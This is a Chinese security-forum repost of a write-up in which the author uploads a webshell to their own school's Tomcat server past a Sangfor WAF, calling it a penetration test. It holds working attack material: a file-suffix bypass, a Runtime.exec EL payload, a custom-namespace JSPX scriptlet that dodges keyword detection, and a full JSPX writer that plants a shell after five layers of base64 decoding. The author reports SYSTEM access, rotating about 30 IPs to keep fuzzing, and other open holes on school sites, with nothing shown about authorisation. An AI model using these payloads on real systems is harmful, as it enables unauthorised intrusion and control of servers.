安全矩阵

 找回密码
 立即注册
搜索
查看: 2368|回复: 0

记一次绕过waf的任意文件上传

[复制链接]

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2022-5-19 09:52:19 | 显示全部楼层 |阅读模式
记一次绕过waf的任意文件上传收录于合集 #好文分享 4个
文章来源:先知社区(John)
原文地址:https://xz.aliyun.com/t/11337

0x01 前言
前几天对自己学校进行的一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折。


期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作。

0x02 获取网站接口
主界面:

​编辑

上传点:
​编辑

由于该应用是内嵌企业微信的套皮Html,所以我们首先用Burp Suite抓包获取接口和cookie
​编辑

任意文件上传:
​编辑

文件名强制命名为code+学号,后缀为最后一次点号出现之后的字母

0x03 后缀名绕过
代码不限制后缀名,但是waf限制呀!后缀名jspjspx会拦截,但是jsppjspxx等不会拦截。
所以要利用windows特性绕过,常规的绕过手法例如末尾加点号:DATA均无法绕过。
​编辑

经过fuzz,发现正斜杠可以绕过
​编辑

纰漏: 查阅相关资料后发现,在后缀名绕过那里可以绕过是因为tomcat认为.jsp/在文件名中是非法的,Tomcat会自动去除非法的/号,并不是因为windows的特性。但.jsp\的反斜杠在本地测试时也可以正常解析去除,在目标机上却无法解析,个人感觉应该很大程度取决于所用的java库及其版本,这次算是误打误撞的成功了,以后还得多多学习,避免出现此类错误。

0x04 内容绕过
常见的jsp标记均无法绕过

​编辑
​编辑

所以我们得绕过JSP标记检测,这里参考了yzddmr6师傅的两种绕过方法。

  • jspEL表达式绕过
  • jspx命名空间绕过

参考链接:


星球问答:一次jsp上传绕过的思考 | yzddMr6's Blog

第一种是利用${}标记:payload:


${Runtime.getRuntime().exec(request.getParameter("x"))}

但深信服waf过滤了一句话,需要变形绕过,鄙人太菜了,不了解相关函数的变形绕过,所以选择第二种写法。

第二种是利用命名空间的特性:参照yzddmr6师傅的图:
​编辑

使用自定义的命名空间,替换掉jsp的关键字,将原本的<jsp:scriptlet>替换成<自定义字符:scriptlet>,这样waf的正则匹配不到<jsp:scriptlet>自然就会放行


<hi xmlns:hi="http://java.sun.com/JSP/Page">    <hi:scriptlet>        out.println(30*30);    </hi:scriptlet></hi>
​编辑
​编辑

0x05 获取网站路径
这里我们不能用相对路径来写入webshell因为TomcatApache不同,根目录并不是以代码运行位置决定所在的目录,而是默认为Tomcat/bin作为根目录


# 获取当前的根目录String path = System.getProperty("user.dir");out.println(path);
​编辑



# 获取web项目所在的目录String path = application.getRealPath("test.jsp");out.println(path);
​编辑

所以写入shell的绝对路径应为:


D:/tomcat8/webapps/declare/static/upload/test.jsp

0x06 编码或加密绕过waf写入shell
菜鸡的payload:



<hi xmlns:hi="http://java.sun.com/JSP/Page">    <hi:directive.page import="java.util.Base64,java.io.*"/>    <hi:scriptlet>        File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");        FileWriter fileOut = new FileWriter(file);        Base64.Decoder base64 = Base64.getDecoder();        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));        try {            fileOut.write(new String(str, "utf-8"));            out.println("写入成功");        } catch (Exception e) {            e.printStackTrace();        } finally {            try {                if (fileOut != null) {                    fileOut.close();                }        } catch (Exception e) {                e.printStackTrace();            }        }    </hi:scriptlet></hi>

一开始我是用两层base64编码,还是被检测了,经过fuzz发现五层编码即可绕过。

鄙人太懒了,不想重新造轮子。如果各位师傅有时间的话,遇到这种waf建议用RSA、AES等加密算法绕过。
​编辑

成功getshell,System权限
​编辑

看了一眼依赖,可能存在log4j2jackson的RCE,留着下次当靶场继续测试
​编辑

0x07 总结
深信服的waf算挺强了,而且也足够恶心,检测可疑行为直接封ip,光是fuzz就用掉了快30个ip了。


学校其他站点有thinkphp5.0.23 RCE泛微8.0前台sql注入的漏洞,但都有这个waf,实在没有耐心一个个fuzz。
本菜鸡第一次写文,如有错误或建议欢迎指出,各位师傅们轻喷!


预览时标签不可点
收录于合集 #

上一篇 下一篇
​编辑
微信扫一扫
关注该公众号
[url=]知道了[/url]
​编辑
微信扫一扫
使用小程序
[url=]取消[/url] [url=]允许[/url]
[url=]取消[/url] [url=]允许[/url]
: , 。   视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看 <From:https://mp.weixin.qq.com/s/zoMpWumsRGOsiqpNkufWTQ>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 22:42 , Processed in 0.014832 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表